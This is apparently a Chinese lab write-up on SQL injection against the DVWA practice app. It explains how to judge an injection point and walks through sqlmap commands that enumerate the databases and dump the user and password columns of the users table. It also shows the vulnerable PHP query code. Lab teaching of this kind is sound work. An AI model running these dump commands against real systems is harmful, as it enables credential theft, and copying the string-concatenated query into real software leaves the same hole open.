web安全漏洞-SQL注入实验2

2023-09-13 20:20:16

实验目的

  • 学习sql显注的漏洞判断原理
  • 掌握sqlmap工具的使用
  • 分析SQL注入漏洞的成因

实验工具

  • sqlmapsqlmap是用python写的开源的测试框架,支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB并支持6中SQL注入手段。

实验内容

SQL注入(SQL Injection )

  • SQL注入攻击的产生 当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。 如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入。

  • SQL注入漏洞的本质是把用户输入的数据当做代码来执行,违背了数据与代码分离的原则。

  • SQL注入漏洞有两个关键条件,理解这两个条件可以帮助我们理解并防御SQL注入漏洞:

    • 用户能控制输入的内容
    • Web应用执行的代码中,拼接了用户输入的内容​​

实验步骤

本次实验中,我们先手工发现注入点,再使用sqlmap工具来注入。

步骤1:发现注入

将dvwa的级别设置为high,我们会发现页面变化与之前相比,存在很大的变化,我们按照之前输入1和1’的方式进行测试。

我们会发现存在如下的差别:

​ 1 当我们不论输入任何内容,web页面并非从当前页面返回结果,而且是在另一个页面。

​ 2 当我们输入1‘的时候,出现的报错为:Something went wrong.

如果这是一份不负责任的文档,会这样进行描述:当我们输入1’的时候,没有返回正常的页面,据此可以判断为存在sql注入,并且为显注!

但实际上这种认知是错的,sql注入的本质是:恶意用户的输入特殊字符导致sql语句产生歧义,从而达到利用web接口操纵数据库的目的。

如果报错信息为sql数据库的报错,则可以判定为sql显注。但是返回非数据库的报错时,我们不能简单的划分为显注。甚至于我们根本无法判定是否真的存在注入点。

步骤2:使用sqlmap进行测试

sqlmap常用选项:

​ --second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面

​ --tables -D “数据库” 列举数据库的表名

​ --columns -T “表名” -D “数据库” 获取表的列名

​ --dump -C “字段,字段” -T “表名” -D “数据库” 获取表中的数据,包含列

备注:以上命令是在进行数据窃取,为此强烈建议不要真实的环境,哪怕是个白帽行为!

抓取http请求,并保存至root文档,并将文档命名为2

我们此时可以执行sqlmap -r /root/2 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs进行攻击测试,我们会发现此页面确实存在sql注入漏洞。

​ 如果我们仔细观察sqlmap的payload,我们会发现,此次的注入实际上是基于时间的注入。

执行上一个命令后,我们会知道存在一个名为dvwa的数据库。我们将依次输入以下命令,进行一步一步的“脱裤”操作。

此步骤使用 sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs -D “dvwa” --tables 进行查询dvwa数据库的表名

此步骤使用sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --columns -T “users” -D “dvwa”进行查询user表中的列

步骤使用sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dump -C “user,password” -T “users” -D “dvwa” 进行“脱裤”

至此,我们针对sql注入进行了一次完整的从检测到窃取数据的模拟攻击!

实验分析

<?php 

if (isset($_GET['Submit'])) {

 // Retrieve data

 $id = $_GET['id'];
 $id = stripslashes($id);
 $id = mysql_real_escape_string($id);

 if (is_numeric($id)){

  $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
  $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

  $num = mysql_numrows($result);

  $i=0;

  while ($i < $num) {

   $first = mysql_result($result,$i,"first_name");
   $last = mysql_result($result,$i,"last_name");

   $html .= '<pre>';
   $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
   $html .= '</pre>';

   $i++;
  }
 }
}
?>

通过查看代码,我们发现代码获取了参数以后,依旧是直接带入到sql中进行查询。

虽然增加一层 or die('<pre>....') 的响应,过滤掉了1‘所导致的sql报错。

但因为先前直接未经任何过滤而直接带入到sql,所以依旧产生了sql注入漏洞。

更多推荐

STM32 CAN使用记录:bxCAN基础通讯

文章目录目的关键配置与代码轮询方式中断方式收发测试示例链接总结目的CAN是非常常用的一种数据总线,被广泛用在各种车辆系统中。这篇文章将对STM32中CAN的使用做个示例。CAN的一些基础介绍可以参考下面文章:《CAN基础概念》https://blog.csdn.net/Naisu_kun/article/details

第五章 数据库完整性

第五章数据库完整性数据库的完整性指数据的正确性和相容性正确性指数据是符合现实世界语义,反映了当前实际状况的相容性指数据库同一对象在不同关系表中的数据是符合逻辑的防止数据库中存在不符合语义的数据,也就是防止数据库存在不正确的数据防范对象不合语义的,不正确的数据数据的安全性保护数据库防止恶意的破坏和非法的存取防范对象非法用

动态负荷对电力系统摆幅曲线的影响研究(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。⛳️座右铭:行百里者,半于九十。📋📋📋本文目录如下:🎁🎁🎁目录💥1概述📚2运行结果🎉3参考文献🌈4Matlab代码实现💥1概述摆动曲线仿真是评估扰动后电力系统稳定性的重要工具。

Hbase分布式集群部署

目录一、环境说明二、部署Hbase2.1解压Hbase2.2移动解压包2.3修改hbase-env.sh文件2.4修改环境变量2.5修改hbase-site.xml文件2.6修改regionservers文件2.7分发hbase2.7.1分发hbase包2.7.2分发环境配置2.8启动hbase服务2.8.1环境生效2

【机器学习教程】二、逻辑回归:从概率到分类的利器

引言在机器学习领域中,逻辑回归(LogisticRegression)是一种经典的分类算法,被广泛应用于各种实际问题中。尽管名字中带有"回归"一词,但逻辑回归实际上是一种分类模型,它通过将输入数据映射到一个概率范围内来进行二分类或多分类任务。逻辑回归具有许多优点,如简单易懂、计算效率高以及对大规模数据集的可扩展性。本文

日志技术-Logback

日志技术将系统执行的信息,方便的记录到指定位置(控制台、文件、数据库)可以随时以开关的形式开关日志,无需入侵到源代码去修改日志接口:设计日志框架的统一标准注:有人对JCL接口不满意,就有了SLF4J。有人对log4j性能不满意,就有了LogBack,LogBack是基于SLF4J开发的依赖:下载:下载时注意不同版本JD

爬虫使用Selenium生成Cookie

在爬虫的世界中,有时候我们需要模拟登录来获取特定网站的数据,而使用Selenium登录并生成Cookie是一种常见且有效的方法。本文将为你介绍如何使用Selenium进行登录,并生成Cookie以便后续的爬取操作。让我们一起探索吧!一、Selenium简介1.定义:Selenium是一套自动化测试工具,可以模拟用户在浏

基于Python开发的AI智能联系人管理程序(源码+可执行程序+程序配置说明书+程序使用说明书)

一、项目简介本项目是一套基于Python开发的AI智能联系人管理程序,主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的Python学习者。包含:项目源码、项目文档等,该项目附带全部源码可作为毕设使用。项目都经过严格调试,确保可以运行!二、开发环境要求本系统的软件开发及运行环境具体如下。操作系统:Windo

GaussDB数据库SQL系列-UNION & UNION ALL

目录一、前言二、GaussDBUNION/UNIONALL1、GaussDBUNION操作符2、语法定义三、GaussDB实验示例1、创建实验表2、合并且除重(UNION)3、合并不除重(UNIONALL)4、合并带有WHERE子句SQL结果集(UNIONALL)5、业务逻辑除重后合并(UNIONALL)四、Gauss

vue2实现自定义主题webpack-theme-color-replacer

需求:根据element的自定义主题色,之后改变element的全局所有颜色,解决页面刷新后主题色失效问题,这个需要把颜色存入到浏览器的存储中,如果换个浏览器就得重新选择了哈,如果需要在不同的浏览器保持一致的主题,需要跟后端沟通之前还写过一个简单的,有需要的可以去看:vue实现element-ui自定义主题色切换(简单

Python异常处理之分享

异常处理在项目开发中,异常处理是不可或缺的。异常处理帮助人们debug,通过更加丰富的信息,让人们更容易找到bug的所在。异常处理还可以提高程序的容错性。我们之前在讲循环对象的时候,曾提到一个StopIteration的异常,该异常是在循环对象穷尽所有元素时的报错。我们以它为例,来说明基本的异常处理。一个包含异常的程序

热文推荐